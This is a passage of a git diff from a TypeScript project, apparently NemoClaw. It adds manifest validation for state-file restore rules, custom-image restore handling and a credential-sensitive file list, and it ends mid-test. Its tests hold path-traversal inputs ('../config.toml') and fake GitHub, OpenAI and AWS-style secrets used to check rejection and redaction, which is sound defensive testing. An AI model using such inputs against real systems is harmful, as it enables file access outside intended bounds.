"openclaw.json", strategy: "copy", restore: { merge: "openclaw-config" } }, + ]); + }); + + it("rejects an unknown state-file restore merge strategy (#6334)", () => { + const agentName = `restore-badmerge-${String(Date.now())}`; + writeTempAgentManifest( + agentName, + [ + `name: ${agentName}`, + "display_name: Restore", + "state_files:", + " - path: config.toml", + " restore:", + " merge: wholesale", + ].join("\n"), + ); + + expect(() => loadAgent(agentName)).toThrow(/state_files\[0\]\.restore\.merge/); + }); + + it("rejects a key-allowlist restore without user_keys (#6334)", () => { + const agentName = `restore-nokeys-${String(Date.now())}`; + writeTempAgentManifest( + agentName, + [ + `name: ${agentName}`, + "display_name: Restore", + "state_files:", + " - path: config.toml", + " restore:", + " merge: key-allowlist", + ].join("\n"), + ); + + expect(() => loadAgent(agentName)).toThrow(/state_files\[0\]\.restore\.user_keys/); + }); + + it("rejects a restore block on a sqlite_backup state file (#6334)", () => { + const agentName = `restore-sqlite-${String(Date.now())}`; + writeTempAgentManifest( + agentName, + [ + `name: ${agentName}`, + "display_name: Restore", + "state_files:", + " - path: history.db", + " strategy: sqlite_backup", + " restore:", + " merge: key-allowlist", + " user_keys:", + " - key: ui.theme", + " type: string", + ].join("\n"), + ); + + expect(() => loadAgent(agentName)).toThrow(/state_files\[0\]\.restore.*strategy 'copy'/); + }); + + it("rejects enum user_keys without values (#6334)", () => { + const agentName = `restore-enum-${String(Date.now())}`; + writeTempAgentManifest( + agentName, + [ + `name: ${agentName}`, + "display_name: Restore", + "state_files:", + " - path: config.toml", + " restore:", + " merge: key-allowlist", + " user_keys:", + " - key: threads.sort_order", + " type: enum", + ].join("\n"), + ); + + expect(() => loadAgent(agentName)).toThrow(/user_keys\[0\]\.values.*enum/); + }); + + it("rejects values on a non-enum user_key (#6334)", () => { + const agentName = `restore-badvalues-${String(Date.now())}`; + writeTempAgentManifest( + agentName, + [ + `name: ${agentName}`, + "display_name: Restore", + "state_files:", + " - path: config.toml", + " restore:", + " merge: key-allowlist", + " user_keys:", + " - key: ui.show_scrollbar", + " type: boolean", + " values:", + " - true", + ].join("\n"), + ); + + expect(() => loadAgent(agentName)).toThrow(/user_keys\[0\]\.values.*only allowed for enum/); + }); + + it("rejects user_keys bounds on non-numeric types (#6334)", () => { + const agentName = `restore-badbounds-${String(Date.now())}`; + writeTempAgentManifest( + agentName, + [ + `name: ${agentName}`, + "display_name: Restore", + "state_files:", + " - path: config.toml", + " restore:", + " merge: key-allowlist", + " user_keys:", + " - key: ui.show_scrollbar", + " type: boolean", + " min: 1", + ].join("\n"), + ); + + expect(() => loadAgent(agentName)).toThrow(/user_keys\[0\]\.min.*integer or number/); + }); + + it("rejects openclaw-config restore with extra ownership fields (#6334)", () => { + const agentName = `restore-openclaw-extra-${String(Date.now())}`; + writeTempAgentManifest( + agentName, + [ + `name: ${agentName}`, + "display_name: Restore", + "state_files:", + " - path: openclaw.json", + " restore:", + " merge: openclaw-config", + " user_keys:", + " - key: ui.theme", + " type: string", + ].join("\n"), + ); + + expect(() => loadAgent(agentName)).toThrow( + /user_keys.*not allowed for merge 'openclaw-config'/, + ); + }); + + it("rejects unknown state-file fields instead of silently dropping restore intent (#6334)", () => { + const agentName = `restore-typo-${String(Date.now())}`; + writeTempAgentManifest( + agentName, + [ + `name: ${agentName}`, + "display_name: Restore", + "state_files:", + " - path: config.toml", + " restroe:", + " merge: key-allowlist", + ].join("\n"), + ); + + expect(() => loadAgent(agentName)).toThrow(/state_files\[0\]\.restroe.*not allowed/); + }); + + it("rejects unsafe shorthand state-file paths (#6334)", () => { + const agentName = `restore-unsafe-short-${String(Date.now())}`; + writeTempAgentManifest( + agentName, + [`name: ${agentName}`, "display_name: Restore", "state_files:", " - ../config.toml"].join( + "\n", + ), + ); + + expect(() => loadAgent(agentName)).toThrow(/state_files\[0\].*canonical relative path/); + }); + + it("rejects unsafe object state-file paths (#6334)", () => { + const agentName = `restore-unsafe-object-${String(Date.now())}`; + writeTempAgentManifest( + agentName, + [ + `name: ${agentName}`, + "display_name: Restore", + "state_files:", + " - path: /tmp/config.toml", + ].join("\n"), + ); + + expect(() => loadAgent(agentName)).toThrow(/state_files\[0\]\.path.*relative path/); + }); + + it("rejects duplicate or ancestor-overlapping user-owned keys (#6334)", () => { + const agentName = `restore-overlap-user-${String(Date.now())}`; + writeTempAgentManifest( + agentName, + [ + `name: ${agentName}`, + "display_name: Restore", + "state_files:", + " - path: config.toml", + " restore:", + " merge: key-allowlist", + " user_keys:", + " - key: ui", + " type: string", + " - key: ui.show_scrollbar", + " type: boolean", + ].join("\n"), + ); + + expect(() => loadAgent(agentName)).toThrow(/user_keys\[0\].*user_keys\[1\].*contain/); + }); + + it("rejects user-owned keys that overlap authoritative fresh tables (#6334)", () => { + const agentName = `restore-overlap-fresh-${String(Date.now())}`; + writeTempAgentManifest( + agentName, + [ + `name: ${agentName}`, + "display_name: Restore", + "state_files:", + " - path: config.toml", + " restore:", + " merge: key-allowlist", + " require_fresh_tables:", + " - models", + " user_keys:", + " - key: models.default", + " type: string", + ].join("\n"), + ); + + expect(() => loadAgent(agentName)).toThrow(/user_keys\[0\]\.key.*require_fresh_tables\[0\]/); + }); +}); diff --git a/src/lib/agent/state-file-restore-reader.ts b/src/lib/agent/state-file-restore-reader.ts new file mode 100644 index 0000000000..be73856d94 --- /dev/null +++ b/src/lib/agent/state-file-restore-reader.ts @@ -0,0 +1,306 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import type { + AgentStateFileStrategy, + ManifestRecord, + ManifestValue, + StateFileFreshHeader, + StateFileRestoreOwnership, + StateFileUserKey, + StateFileUserKeyType, +} from "./definition-types"; + +function isManifestValue(value: unknown): value is ManifestValue { + if (value === null || value instanceof Date) return true; + if (typeof value === "string" || typeof value === "number" || typeof value === "boolean") { + return true; + } + if (Array.isArray(value)) { + return value.every((entry) => isManifestValue(entry)); + } + return isManifestRecord(value); +} + +function isManifestRecord(value: unknown): value is ManifestRecord { + if (typeof value !== "object" || value === null || Array.isArray(value)) { + return false; + } + + const prototype = Object.getPrototypeOf(value); + if (prototype !== Object.prototype && prototype !== null) { + return false; + } + + return Object.values(value).every((entry) => isManifestValue(entry)); +} + +function readString(record: ManifestRecord, key: string): string | undefined { + const value = record[key]; + return typeof value === "string" ? value : undefined; +} + +function readNumber(record: ManifestRecord, key: string): number | undefined { + const value = record[key]; + return typeof value === "number" && Number.isFinite(value) ? value : undefined; +} + +const CONTROL_CHAR_RE = /[\x00-\x1f\x7f]/; + +function assertDottedKey(key: string, field: string): void { + if (CONTROL_CHAR_RE.test(key)) { + throw new Error(`Agent manifest field '${field}' must not contain control characters`); + } + if (key.split(".").some((segment) => segment.length === 0)) { + throw new Error(`Agent manifest field '${field}' must not contain empty path segments`); + } +} + +function dottedKeysOverlap(left: string, right: string): boolean { + const leftSegments = left.split("."); + const rightSegments = right.split("."); + const sharedLength = Math.min(leftSegments.length, rightSegments.length); + return leftSegments.slice(0, sharedLength).every((segment, index) => { + return segment === rightSegments[index]; + }); +} + +function assertNonOverlappingDottedKeys(keys: readonly string[], field: string): void { + for (let left = 0; left < keys.length; left += 1) { + for (let right = left + 1; right < keys.length; right += 1) { + if (dottedKeysOverlap(keys[left] ?? "", keys[right] ?? "")) { + throw new Error( + `Agent manifest fields '${field}[${String(left)}]' and '${field}[${String(right)}]' must not duplicate or contain one another`, + ); + } + } + } +} + +function assertKnownFields( + record: ManifestRecord, + allowed: ReadonlySet, + field: string, +): void { + for (const key of Object.keys(record)) { + if (!allowed.has(key)) { + throw new Error(`Agent manifest field '${field}.${key}' is not allowed`); + } + } +} + +const STATE_FILE_MERGE_STRATEGIES = ["key-allowlist", "openclaw-config"] as const; +const STATE_FILE_USER_KEY_TYPES: readonly StateFileUserKeyType[] = [ + "boolean", + "string", + "integer", + "number", + "enum", +]; +const STATE_FILE_RESTORE_FIELDS = new Set([ + "merge", + "user_keys", + "require_fresh_tables", + "require_fresh_headers", +]); +const STATE_FILE_USER_KEY_FIELDS = new Set(["key", "type", "values", "min", "max", "max_length"]); +const STATE_FILE_FRESH_HEADER_FIELDS = new Set(["match", "value"]); + +function readStateFileUserKey(raw: ManifestValue, field: string): StateFileUserKey { + if (!isManifestRecord(raw)) { + throw new Error(`Agent manifest field '${field}' must be an object`); + } + assertKnownFields(raw, STATE_FILE_USER_KEY_FIELDS, field); + const key = readString(raw, "key"); + if (!key) { + throw new Error(`Agent manifest field '${field}.key' is required`); + } + assertDottedKey(key, `${field}.key`); + const type = readString(raw, "type"); + if (!type || !(STATE_FILE_USER_KEY_TYPES as readonly string[]).includes(type)) { + throw new Error( + `Agent manifest field '${field}.type' must be one of ${STATE_FILE_USER_KEY_TYPES.join(", ")}`, + ); + } + const userKey: StateFileUserKey = { key, type: type as StateFileUserKeyType }; + + if (type === "enum") { + const values = raw.values; + if ( + !Array.isArray(values) || + values.length === 0 || + !values.every( + (item) => typeof item === "string" || typeof item === "number" || typeof item === "boolean", + ) + ) { + throw new Error( + `Agent manifest field '${field}.values' must be a non-empty array of scalars for enum type`, + ); + } + userKey.values = values as (string | number | boolean)[]; + } else if (raw.values !== undefined) { + throw new Error(`Agent manifest field '${field}.values' is only allowed for enum type`); + } + + if (type === "integer" || type === "number") { + for (const bound of ["min", "max"] as const) { + if (raw[bound] === undefined) continue; + const parsed = readNumber(raw, bound); + if (parsed === undefined) { + throw new Error(`Agent manifest field '${field}.${bound}' must be a finite number`); + } + if (type === "integer" && !Number.isInteger(parsed)) { + throw new Error(`Agent manifest field '${field}.${bound}' must be an integer`); + } + userKey[bound] = parsed; + } + if (userKey.min !== undefined && userKey.max !== undefined && userKey.min > userKey.max) { + throw new Error(`Agent manifest field '${field}.min' must not exceed '${field}.max'`); + } + } else if (raw.min !== undefined || raw.max !== undefined) { + throw new Error( + `Agent manifest field '${field}.min'/'${field}.max' are only allowed for integer or number types`, + ); + } + + if (type === "string") { + if (raw.max_length !== undefined) { + const maxLength = readNumber(raw, "max_length"); + if (maxLength === undefined || !Number.isInteger(maxLength) || maxLength < 0) { + throw new Error( + `Agent manifest field '${field}.max_length' must be a non-negative integer`, + ); + } + userKey.maxLength = maxLength; + } + } else if (raw.max_length !== undefined) { + throw new Error(`Agent manifest field '${field}.max_length' is only allowed for string type`); + } + + return userKey; +} + +function readStateFileDottedKeys( + record: ManifestRecord, + key: string, + field: string, +): string[] | undefined { + const value = record[key]; + if (value === undefined) return undefined; + if (!Array.isArray(value) || value.length === 0) { + throw new Error(`Agent manifest field '${field}' must be a non-empty array`); + } + return value.map((raw, index) => { + if (typeof raw !== "string" || raw.length === 0) { + throw new Error( + `Agent manifest field '${field}[${String(index)}]' must be a non-empty string`, + ); + } + assertDottedKey(raw, `${field}[${String(index)}]`); + return raw; + }); +} + +function readStateFileFreshHeaders( + record: ManifestRecord, + field: string, +): StateFileFreshHeader[] | undefined { + const value = record.require_fresh_headers; + if (value === undefined) return undefined; + if (!Array.isArray(value) || value.length === 0) { + throw new Error(`Agent manifest field '${field}' must be a non-empty array`); + } + return value.map((raw, index) => { + const itemField = `${field}[${String(index)}]`; + if (typeof raw === "string") { + if (raw.length === 0) { + throw new Error(`Agent manifest field '${itemField}' must not be empty`); + } + return { match: "exact", value: raw }; + } + if (!isManifestRecord(raw)) { + throw new Error(`Agent manifest field '${itemField}' must be a string or object`); + } + assertKnownFields(raw, STATE_FILE_FRESH_HEADER_FIELDS, itemField); + const headerValue = readString(raw, "value"); + if (!headerValue) { + throw new Error(`Agent manifest field '${itemField}.value' is required`); + } + if (raw.match !== undefined && typeof raw.match !== "string") { + throw new Error(`Agent manifest field '${itemField}.match' must be a string`); + } + const match = readString(raw, "match") ?? "exact"; + if (match !== "exact" && match !== "prefix") { + throw new Error(`Agent manifest field '${itemField}.match' must be exact or prefix`); + } + return { match, value: headerValue }; + }); +} + +export function readStateFileRestore( + entry: ManifestRecord, + index: number, + strategy: AgentStateFileStrategy, +): StateFileRestoreOwnership | undefined { + const value = entry.restore; + if (value === undefined) return undefined; + const field = `state_files[${String(index)}].restore`; + if (!isManifestRecord(value)) { + throw new Error(`Agent manifest field '${field}' must be an object`); + } + assertKnownFields(value, STATE_FILE_RESTORE_FIELDS, field); + if (strategy !== "copy") { + throw new Error(`Agent manifest field '${field}' requires strategy 'copy'`); + } + const merge = readString(value, "merge"); + if (!merge || !(STATE_FILE_MERGE_STRATEGIES as readonly string[]).includes(merge)) { + throw new Error( + `Agent manifest field '${field}.merge' must be one of ${STATE_FILE_MERGE_STRATEGIES.join(", ")}`, + ); + } + + if (merge === "openclaw-config") { + for (const disallowed of ["user_keys", "require_fresh_tables", "require_fresh_headers"]) { + if (value[disallowed] !== undefined) { + throw new Error( + `Agent manifest field '${field}.${disallowed}' is not allowed for merge 'openclaw-config'`, + ); + } + } + return { merge: "openclaw-config" }; + } + + const userKeysValue = value.user_keys; + if (!Array.isArray(userKeysValue) || userKeysValue.length === 0) { + throw new Error(`Agent manifest field '${field}.user_keys' must be a non-empty array`); + } + const userKeys = userKeysValue.map((raw, keyIndex) => + readStateFileUserKey(raw, `${field}.user_keys[${String(keyIndex)}]`), + ); + assertNonOverlappingDottedKeys( + userKeys.map((entry) => entry.key), + `${field}.user_keys`, + ); + const ownership: StateFileRestoreOwnership = { merge: "key-allowlist", userKeys }; + const requireFreshTables = readStateFileDottedKeys( + value, + "require_fresh_tables", + `${field}.require_fresh_tables`, + ); + if (requireFreshTables) { + assertNonOverlappingDottedKeys(requireFreshTables, `${field}.require_fresh_tables`); + for (const [userIndex, userKey] of userKeys.entries()) { + for (const [freshIndex, freshTable] of requireFreshTables.entries()) { + if (dottedKeysOverlap(userKey.key, freshTable)) { + throw new Error( + `Agent manifest field '${field}.user_keys[${String(userIndex)}].key' must not overlap '${field}.require_fresh_tables[${String(freshIndex)}]'`, + ); + } + } + } + ownership.requireFreshTables = requireFreshTables; + } + const requireFreshHeaders = readStateFileFreshHeaders(value, `${field}.require_fresh_headers`); + if (requireFreshHeaders) ownership.requireFreshHeaders = requireFreshHeaders; + return ownership; +} diff --git a/src/lib/onboard.ts b/src/lib/onboard.ts index 1c74dcfe27..d55128ad64 100644 --- a/src/lib/onboard.ts +++ b/src/lib/onboard.ts @@ -2951,7 +2951,6 @@ async function createSandboxWithBaseImageResolution( // openshell tags images with seconds; buildId is ms. Parse actual tag from output. Fixes #2672. const resolvedImageTag = prebuild.imageRef ?? resolveSandboxImageTagFromCreateOutput(createResult.output, buildId); - const sandboxRuntimeFields = getSandboxRuntimeRegistryFields(effectiveSandboxGpuConfig); finalizeCreatedSandbox( { @@ -2959,6 +2958,7 @@ async function createSandboxWithBaseImageResolution( restoreBackupPath, preUpgradeBackup: pendingStateRestoreBackupPath !== null, targetAgentType: agent?.name ?? "openclaw", + customImage: Boolean(fromDockerfile), discoverOpenClawImagePluginInstalls: customOpenClawImage, validateManagedDcode: isManagedDcodeAgent, provider, diff --git a/src/lib/onboard/created-sandbox-failure.test.ts b/src/lib/onboard/created-sandbox-failure.test.ts index 608b27ab40..69fe3edc5d 100644 --- a/src/lib/onboard/created-sandbox-failure.test.ts +++ b/src/lib/onboard/created-sandbox-failure.test.ts @@ -118,7 +118,7 @@ describe("reportSandboxCreateFailure", () => { "Authorization: Bearer secret-token", "github ghp_abcdefghijklmnopqrstuvwxyz1234567890", "openai sk-abcdefghijklmnopqrstuvwxyz1234567890", - "aws AKIAABCDEFGHIJKLMNOP", + "aws AKIAABCDEFGHIJKLMNOP", // gitleaks:allow ].join("\n"); expect(() => reportSandboxCreateFailure(createFailureOptions({ createOutput }), deps)).toThrow( @@ -131,14 +131,14 @@ describe("reportSandboxCreateFailure", () => { expect(echoed).not.toContain("secret-token"); expect(echoed).not.toContain("ghp_abcdefghijklmnopqrstuvwxyz1234567890"); expect(echoed).not.toContain("sk-abcdefghijklmnopqrstuvwxyz1234567890"); - expect(echoed).not.toContain("AKIAABCDEFGHIJKLMNOP"); + expect(echoed).not.toContain("AKIAABCDEFGHIJKLMNOP"); // gitleaks:allow const hinted = (deps.printRecoveryHints as ReturnType).mock.calls .map((call) => String(call[0])) .join("\n"); expect(hinted).not.toContain("secret-token"); expect(hinted).not.toContain("ghp_abcdefghijklmnopqrstuvwxyz1234567890"); expect(hinted).not.toContain("sk-abcdefghijklmnopqrstuvwxyz1234567890"); - expect(hinted).not.toContain("AKIAABCDEFGHIJKLMNOP"); + expect(hinted).not.toContain("AKIAABCDEFGHIJKLMNOP"); // gitleaks:allow }); it("falls back to exit code 1 when the create status is zero", () => { diff --git a/src/lib/onboard/created-sandbox-finalization.test.ts b/src/lib/onboard/created-sandbox-finalization.test.ts index 48d083c7a9..f470719fa5 100644 --- a/src/lib/onboard/created-sandbox-finalization.test.ts +++ b/src/lib/onboard/created-sandbox-finalization.test.ts @@ -8,7 +8,6 @@ import path from "node:path"; import { afterEach, describe, expect, it, vi } from "vitest"; -import { managedDcodeConfigRestorePolicy } from "../state/dcode-config-restore-input"; import * as sandboxState from "../state/sandbox"; import { finalizeCreatedSandbox } from "./created-sandbox-finalization"; import { getDcodeSelectionDrift } from "./dcode-selection-drift"; @@ -109,61 +108,38 @@ function makeRestoreFixture(): { executable( python, `#!${hostPython} -import json, sys, types - -class TOMLDecodeError(ValueError): - pass - -def parse_scalar(value): - if value == "true": return True - if value == "false": return False - try: return json.loads(value) - except (TypeError, ValueError) as error: raise TOMLDecodeError("malformed") from error - -def loads(text): - document = {} - table = document - for raw_line in text.splitlines(): - line = raw_line.strip() - if not line or line.startswith("#"): continue - if line.startswith("[") and line.endswith("]"): - table = document - for name in line[1:-1].split("."): - table = table.setdefault(name, {}) - continue - if "=" not in line: raise TOMLDecodeError("malformed") - key, value = line.split("=", 1) - table[key.strip()] = parse_scalar(value.strip()) - return document - -def scalar(value): - if isinstance(value, bool): return "true" if value else "false" - if isinstance(value, str): return json.dumps(value) - if isinstance(value, list): return "[" + ", ".join(scalar(item) for item in value) + "]" - if isinstance(value, (int, float)): return str(value) - raise TypeError("unsupported test TOML value") - -def dumps(document): - lines = [] - def emit(prefix, table): - if prefix: lines.append("[" + ".".join(prefix) + "]") - for key, value in table.items(): - if not isinstance(value, dict): lines.append(key + " = " + scalar(value)) - if prefix: lines.append("") - for key, value in table.items(): - if isinstance(value, dict): emit([*prefix, key], value) - emit([], document) - return "\\n".join(lines).rstrip() + "\\n" +import json +import subprocess +import sys +import types + +NODE_TOML_WRITER = r""" +const fs = require("node:fs"); +const { stringify } = require("smol-toml"); +const value = JSON.parse(fs.readFileSync(0, "utf8")); +process.stdout.write(stringify(value)); +""" + +def dumps(value): + completed = subprocess.run( + ["node", "-e", NODE_TOML_WRITER], + input=json.dumps(value, allow_nan=False), + capture_output=True, + check=True, + text=True, + ) + return completed.stdout tomli_w = types.ModuleType("tomli_w") tomli_w.dumps = dumps -tomllib = types.ModuleType("tomllib") -tomllib.loads = loads -tomllib.TOMLDecodeError = TOMLDecodeError -sys.modules["tomllib"] = tomllib sys.modules["tomli_w"] = tomli_w -script = sys.argv[3] -sys.argv = [sys.argv[0], *sys.argv[4:]] + +try: + script_index = sys.argv.index("-c", 1) + 1 +except ValueError: + script_index = 1 +script = sys.argv[script_index] +sys.argv = [sys.argv[0], *sys.argv[script_index + 1:]] exec(script, {"__name__": "__main__"}) `, ); @@ -230,7 +206,7 @@ describe("created DCode sandbox finalization", () => { }), restoreRecreatedSandboxState: (name, backup, options) => { order.push("restore"); - expect(options.stateFileRestorePolicy).toBe(managedDcodeConfigRestorePolicy); + expect(options.allowCustomImageWholeStateFileRestore).toBeUndefined(); return sandboxState.restoreRecreatedSandboxState(name, backup, options); }, getDcodeSelectionDrift: (name, provider, model, api) => { @@ -357,43 +333,45 @@ describe("created DCode sandbox finalization", () => { }); it("keeps custom-image restores outside the managed config merge (#6311)", () => { - const restoreRecreatedSandboxState = vi.fn(() => ({ - success: true, - restoredDirs: [], - failedDirs: [], - restoredFiles: ["config.toml"], - failedFiles: [], - })); - - finalizeCreatedSandbox( - { - sandboxName: "custom-dcode", - restoreBackupPath: "/tmp/custom-backup", - preUpgradeBackup: false, - targetAgentType: "langchain-deepagents-code", - validateManagedDcode: false, - provider: "custom-provider", - model: "custom-model", - preferredInferenceApi: null, - }, - { - discoverFreshOpenClawImagePluginInstalls: vi.fn(), - restoreRecreatedSandboxState, - getDcodeSelectionDrift: vi.fn(), - register: vi.fn(), - note: vi.fn(), - error: vi.fn(), - exitProcess: (code): never => { - throw new Error(`exit ${code}`); + const fixture = makeRestoreFixture(); + const registeredConfigs: string[] = []; + try { + finalizeCreatedSandbox( + { + sandboxName: "custom-dcode", + restoreBackupPath: fixture.backupPath, + preUpgradeBackup: false, + targetAgentType: "langchain-deepagents-code", + customImage: true, + validateManagedDcode: false, + provider: "custom-provider", + model: "custom-model", + preferredInferenceApi: null, }, - }, - ); + { + discoverFreshOpenClawImagePluginInstalls: vi.fn(), + restoreRecreatedSandboxState: (name, backup, options) => { + expect(options.allowCustomImageWholeStateFileRestore).toBe(true); + return sandboxState.restoreRecreatedSandboxState(name, backup, options); + }, + getDcodeSelectionDrift: vi.fn(), + register: () => registeredConfigs.push(fs.readFileSync(fixture.currentPath, "utf8")), + note: vi.fn(), + error: vi.fn(), + exitProcess: (code): never => { + throw new Error(`exit ${code}`); + }, + }, + ); - expect(restoreRecreatedSandboxState).toHaveBeenCalledWith( - "custom-dcode", - "/tmp/custom-backup", - { targetAgentType: "langchain-deepagents-code" }, - ); + expect(registeredConfigs).toHaveLength(1); + expect(registeredConfigs[0]).toContain('default = "openai:old-model"'); + expect(registeredConfigs[0]).toContain("[agents]"); + expect(registeredConfigs[0]).toContain('theme = "dark"'); + expect(registeredConfigs[0]).not.toContain("new-model"); + } finally { + process.env.PATH = fixture.oldPath; + } }); }); diff --git a/src/lib/onboard/created-sandbox-finalization.ts b/src/lib/onboard/created-sandbox-finalization.ts index 1c72953ec4..f95dc3c22e 100644 --- a/src/lib/onboard/created-sandbox-finalization.ts +++ b/src/lib/onboard/created-sandbox-finalization.ts @@ -1,7 +1,6 @@ // SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. // SPDX-License-Identifier: Apache-2.0 -import { managedDcodeConfigRestorePolicy } from "../state/dcode-config-restore-input"; import type { OpenClawImagePluginInstall, OpenClawManagedExtensionDiscoveryResult, @@ -18,6 +17,7 @@ export type CreatedSandboxFinalizationOptions = { restoreBackupPath: string | null; preUpgradeBackup: boolean; targetAgentType: string; + customImage?: boolean; discoverOpenClawImagePluginInstalls?: boolean; validateManagedDcode: boolean; provider: string; @@ -79,12 +79,10 @@ export function finalizeCreatedSandbox( options.restoreBackupPath, { targetAgentType: options.targetAgentType, + ...(options.customImage ? { allowCustomImageWholeStateFileRestore: true } : {}), ...(freshOpenClawImagePluginInstalls !== undefined ? { freshOpenClawImagePluginInstalls } : {}), - ...(options.validateManagedDcode - ? { stateFileRestorePolicy: managedDcodeConfigRestorePolicy } - : {}), }, ); if (restore.success) { diff --git a/src/lib/security/credential-filter.test.ts b/src/lib/security/credential-filter.test.ts index 45b2696fd7..d7a8f4005b 100644 --- a/src/lib/security/credential-filter.test.ts +++ b/src/lib/security/credential-filter.test.ts @@ -212,11 +212,13 @@ describe("sanitizeConfigFile", () => { }); describe("isSensitiveFile", () => { - it("detects auth-profiles.json", () => { + it("detects credential-bearing auth state basenames", () => { expect(isSensitiveFile("auth-profiles.json")).toBe(true); expect(isSensitiveFile("Auth-Profiles.json")).toBe(true); expect(isSensitiveFile("auth.json")).toBe(true); expect(isSensitiveFile("AUTH.JSON")).toBe(true); + expect(isSensitiveFile("chatgpt-auth.json")).toBe(true); + expect(isSensitiveFile("CHATGPT-AUTH.JSON")).toBe(true); }); it("does not flag normal files", () => { diff --git a/src/lib/security/credential-filter.ts b/src/lib/security/credential-filter.ts index 6beb8d3fbc..d430e62bf1 100644 --- a/src/lib/security/credential-filter.ts +++ b/src/lib/security/credential-filter.ts @@ -82,7 +82,11 @@ const CREDENTIAL_PLACEHOLDER = "[STRIPPED_BY_MIGRATION]"; * File basenames that contain sensitive auth material and should be * excluded from backups entirely. */ -export const CREDENTIAL_SENSITIVE_BASENAMES = new Set(["auth-profiles.json", "auth.json"]); +export const CREDENTIAL_SENSITIVE_BASENAMES = new Set([ + "auth-profiles.json", + "auth.json", + "chatgpt-auth.json", +]); /** * Dependency lockfiles may contain package metadata that resembles credentials diff --git a/src/lib/state/dcode-config-restore-input.test.ts b/src/lib/state/dcode-config-restore-input.test.ts deleted file mode 100644 index 5a68db0ffd..0000000000 --- a/src/lib/state/dcode-config-restore-input.test.ts +++ /dev/null @@ -1,300 +0,0 @@ -// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. -// SPDX-License-Identifier: Apache-2.0 - -import { spawnSync } from "node:child_process"; -import fs from "node:fs"; -import os from "node:os"; -import path from "node:path"; -import { describe, expect, it } from "vitest"; - -import { - buildDcodeConfigMergeRestoreCommand, - DCODE_CONFIG_MERGE_PYTHON, - managedDcodeConfigRestorePolicy, -} from "./dcode-config-restore-input"; - -const GENERATED_HEADER = "# Generated by NemoClaw. This file contains no provider secrets."; -const FRESH_PROVIDER_HEADER = - "# NemoClaw provider route: inference; upstream provider: compatible-endpoint; API: openai-completions."; - -const PYTHON_TEST_WRAPPER = String.raw` -import json -import sys -import types - -class TOMLDecodeError(ValueError): - pass - -def loads(text): - payload = "\n".join( - line for line in text.splitlines() if not line.startswith("#") - ).strip() - if payload == "MALFORMED": - raise TOMLDecodeError("malformed") - try: - return json.loads(payload) - except (TypeError, ValueError) as error: - raise TOMLDecodeError("malformed") from error - -tomllib = types.ModuleType("tomllib") -tomllib.loads = loads -tomllib.TOMLDecodeError = TOMLDecodeError -tomli_w = types.ModuleType("tomli_w") -tomli_w.dumps = lambda value: json.dumps(value, sort_keys=True) -sys.modules["tomllib"] = tomllib -sys.modules["tomli_w"] = tomli_w - -script = sys.argv[1] -sys.argv = [sys.argv[0], *sys.argv[2:]] -exec(script, {"__name__": "__main__"}) -`.trim(); - -function generatedCurrent(config: unknown, providerHeader = FRESH_PROVIDER_HEADER): string { - return `${GENERATED_HEADER}\n${providerHeader}\n\n${JSON.stringify(config)}\n`; -} - -function runMergeScript( - backup: string, - current: string, -): { - current: string; - stageExists: boolean; - status: number | null; - stderr: string; -} { - const dir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-dcode-config-merge-")); - try { - const backupPath = path.join(dir, "backup.toml"); - const currentPath = path.join(dir, "config.toml"); - const stagedPath = path.join(dir, ".nemoclaw-dcode-merged.test"); - fs.writeFileSync(backupPath, backup, { mode: 0o600 }); - fs.writeFileSync(currentPath, current, { mode: 0o660 }); - fs.writeFileSync(stagedPath, "", { mode: 0o600 }); - - const result = spawnSync( - "python3", - [ - "-I", - "-c", - PYTHON_TEST_WRAPPER, - DCODE_CONFIG_MERGE_PYTHON, - backupPath, - currentPath, - stagedPath, - ], - { encoding: "utf-8" }, - ); - return { - current: fs.readFileSync(currentPath, "utf-8"), - stageExists: fs.existsSync(stagedPath), - status: result.status, - stderr: result.stderr, - }; - } finally { - fs.rmSync(dir, { recursive: true, force: true }); - } -} - -function mergedJson(config: string): Record { - return JSON.parse(config.split("\n").slice(2).join("\n").trim()) as Record; -} - -describe("DCode config restore ownership", () => { - it("plans a merge only for the canonical copied DCode config file (#6311)", () => { - const backupContents = Buffer.from("backed-up config"); - const plan = managedDcodeConfigRestorePolicy( - "langchain-deepagents-code", - "/sandbox/.deepagents/", - { path: "config.toml", strategy: "copy" }, - backupContents, - ); - - expect(plan?.command).toContain(".nemoclaw-dcode-merged.XXXXXX"); - expect(plan?.input).toBe(backupContents); - expect( - managedDcodeConfigRestorePolicy( - "openclaw", - "/sandbox/.deepagents", - { path: "config.toml", strategy: "copy" }, - backupContents, - ), - ).toBeNull(); - expect( - managedDcodeConfigRestorePolicy( - "langchain-deepagents-code", - "/sandbox/custom-deepagents", - { path: "config.toml", strategy: "copy" }, - backupContents, - ), - ).toBeNull(); - expect( - managedDcodeConfigRestorePolicy( - "langchain-deepagents-code", - "/sandbox/.deepagents", - { path: "other.toml", strategy: "copy" }, - backupContents, - ), - ).toBeNull(); - expect( - managedDcodeConfigRestorePolicy( - "langchain-deepagents-code", - "/sandbox/.deepagents", - { path: "config.toml", strategy: "sqlite_backup" }, - backupContents, - ), - ).toBeNull(); - }); - - it("restores allowlisted display preferences with fresh managed routing (#6311)", () => { - const backup = { - models: { - default: "openai:nvidia/old-model", - providers: { openai: { models: ["nvidia/old-model"] } }, - }, - update: { check: true, auto_update: true }, - ui: { theme: "nvidia-dark", show_scrollbar: true, show_url_open_toast: false }, - threads: { relative_time: false, sort_order: "created_at" }, - }; - const fresh = { - models: { - default: "openai:nvidia/new-model", - providers: { - openai: { - models: ["nvidia/new-model"], - api_key_env: "DEEPAGENTS_CODE_OPENAI_API_KEY", - base_url: "https://inference.local/v1", - enabled: true, - }, - }, - }, - update: { check: false, auto_update: false }, - }; - - const result = runMergeScript(JSON.stringify(backup), generatedCurrent(fresh)); - - expect(result.status).toBe(0); - expect(result.stageExists).toBe(false); - expect(result.current.split("\n").slice(0, 2)).toEqual([ - GENERATED_HEADER, - FRESH_PROVIDER_HEADER, - ]); - expect(mergedJson(result.current)).toEqual({ - models: fresh.models, - update: fresh.update, - ui: { show_scrollbar: true, show_url_open_toast: false }, - threads: backup.threads, - }); - }); - - it("drops free-form themes, executable, routing, and unknown backup data (#6311)", () => { - const providerSecret = ["sk", "abcdefghijklmnopqrst"].join("-"); - const tracingSecret = 